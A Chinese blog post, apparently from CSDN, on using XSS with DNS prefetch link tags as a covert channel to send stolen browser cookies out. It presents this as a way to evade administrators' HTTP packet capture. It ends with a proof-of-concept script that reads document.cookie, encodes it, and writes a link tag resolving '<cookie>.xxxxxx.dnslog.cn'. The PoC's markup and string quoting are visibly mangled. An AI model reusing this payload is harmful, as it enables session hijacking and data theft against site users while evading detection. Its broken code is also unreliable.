img src 不好使 浏览器地址好使_浏览器中隐蔽数据传输通道DNS隧道

目前xss传输cookie,一般有两个方式。

一、直接发送ajax请求,到后端程序处理。

二、新建一个img标签,然后把cookie拼接到img的src中。

但是这样在谷歌浏览器下F12,都无可避免的会产生一个网络请求。

类似于下图:

c694fe7c730144066c54f95aa604e05e.png

这种请求如果管理员使用HTTP抓包工具很容易被活捉。

那么在浏览器中有没有更隐蔽的数据传输通道,有的!

就是通过dns进行传输,这样不会被HTTP的抓包工具抓到。

但是使用JavaScript是无法直接操作DNS的。

现代化的谷歌浏览器中引入了一个新的标签,用来预加载DNS记录。

当你浏览网页时,浏览器会加载网页时对网页中的域名进行解析缓存,这样在你单击当前网页链接无需DNS解析,减少浏览者等待时间,提高用户体验。

谷歌的本意是用来优化网页的打开速度,但是同样也可以用来进行少量数据的传输。

我们来测试一下,

45dee3d29c55f8bc7877b204be35318a.png

然后在浏览器中打开,然后再查看dnslog平台

c5c83920e7c4571d8c174a48f29aa983.png

已经收到dns的记录了,而且在谷歌浏览器中是无法抓取到数据包的

1366a8230f10f756c5b1b76d0b08f5db.png

那么我们下一步来试验传输cookie,首先来看一下本地的cookie

17e9e825663dc43d6ef1bacdd0c4f95c.png

然后上代码

de515581217c1b7c1b4d790413efc16c.png

因为cookie中的= ;这些不允许在域名中出现,所以我们先把这些关键字替换成我们指定的关键字,然后通过link标签,对dns进行预加载。

再来看DNS平台

b95f51ca860b41ac21c1fbdffe11a634.png

然后再把关键字替换回来,即可获得正确的cookie

dfff4933ad5e2d76ab6bb26d9043d11a.png

优点:

传输隐蔽,不容易被发现

缺点:

cookie数据量过大可能会导致传输失败

附上POC

<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>Documenttitle>

    head>

    <body>

    <script>
    cookie = document.cookie;
    cookie=cookie.replace(/=/g,'c1')
    cookie=cookie.replace('/;\s/g','c2')// console.log(cookie)
    document.writeln("+cookie+".xxxxxx.dnslog.cn\'>");

     script>

    body>

html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值